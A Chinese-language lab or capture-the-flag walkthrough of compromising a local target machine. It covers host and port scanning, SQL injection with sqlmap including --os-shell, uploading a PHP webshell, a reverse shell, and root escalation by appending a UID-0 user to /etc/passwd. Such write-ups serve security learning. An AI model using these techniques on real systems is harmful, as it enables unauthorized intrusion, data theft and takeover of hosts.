测试环境:
攻击机1:kali 192.168.15.103
攻击机2:Windows10 192.168.15.147
靶机:暂时未知,通过信息收集找到是:192.168.15.121
ps:由于昨天晚上没有搞完,今天继续搞得,下图IP地址会出现变化。
一、信息收集
使用kali自带的nmap扫描网段存活主机,来判断靶机ip
nmap -sP 192.168.x.x-254
找到目标主机,扫一下端口看看有没有什么可以利用的信息
nmap -A 192.168.x.x
发现就开发一个80端口,由于这三台机器在局域网,在真实机上访问发现一个web页面,页面也没有任何信息,于是扫描一下目录,这里使用7kscan
发现一个robots文件打开发现给了两个目录进行访问。
???????????
发现都没有权限访问,在试试拆分访问上一层目录发现可以访问,出现一个类似查询表单的页面,试试sql注入,uid=1‘ 单引号报错,存在sql注入,抓包看看。发现有回显那就简单多了,注意看数据库版本,大于5SQL注入时查库、表、列的时候要注意。
前面的文章有手工进行sql注入的一些介绍,可以参考。这里就不再总结。那就说说这里遇到的坑,库,表,列都爆出来了,结果查列里面passwd的时候发现返回长度过大显示不了。苦恼半天。其实还可以使用sqlmap去跑,更加简便。先把抓取到的数据包复制到文本文件里面,打开sqlmap使用-r参数。
简单写下sqlmap的一些用法
sqlmap -u url //获取数据库
sqlmap -u url -D 数据库名 --tables //获取数据库表名
sqlmap -u url -D 数据库名 -T 表名 --columns //列出字段
sqlmap -r // 指定请求包
sqlmap -data //指定post提交的值
最后跑出密码:跑完发现,我好像并用不到,因为并没有给可以登录的地方,无了个大语。
于是尝试写入一句话木马:
os-shell执行的条件:具有文件写入权限,知道网站的绝对路径,GPC为off,php主动转义的功能关闭。
这里我们通过对m3diNf0这个目录进行扫描发现存在phpinfo界面,这样就能找到绝对路径。
这里为:
/home/www/html/web1x443290o2sdf92213
尝试写入
sqlmap -r test.txt --os-shell
写入失败考虑是不是没有写入权限,想起来之前扫到的目录有个uploads于是组合:
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
os-shell执行原理:
对于mysql数据库来说就是写入两个文件,其中的tmpurkyv.php可以给我们提供一个上传文件的功能用来上传恶意文件。
然后tmpbylqf.php则是上传一个用于执行命令的文件,使我们输入的命令返回到sqlmap上。
在上传文件的页面上传一句话木马,使用蚁剑连接。发现不是root权限于是开始提权。
在蚁剑中打开终端,使用nc反弹shell,发现-e参数被阉割。于是谁用msf反弹,在kali中有webshell,目录在/usr/share/webshells/php下,把里面端口和ip地址改成自己的。使用蚁剑上传到靶机。kali中开启监听,在浏览器中访问木马文件地址。
发现没有root权限,尝试写入一个用户密码进入/etc/passwd
/etc/passwd提权前提条件是拥有写入权限
我们先使用perl将将要写入的用户的密码改成带盐的
perl -le 'print crype("123456",""addedsalt)'
echo "用户名:加过盐的密码:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
写入完毕我们看一下/etc/passwd文件
尝试登录,在登录的时候可能报错,可能是由于会话不稳定造成的,可以使用python来升级为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
su hacker1
登录成功权限为root。查看flag
完成!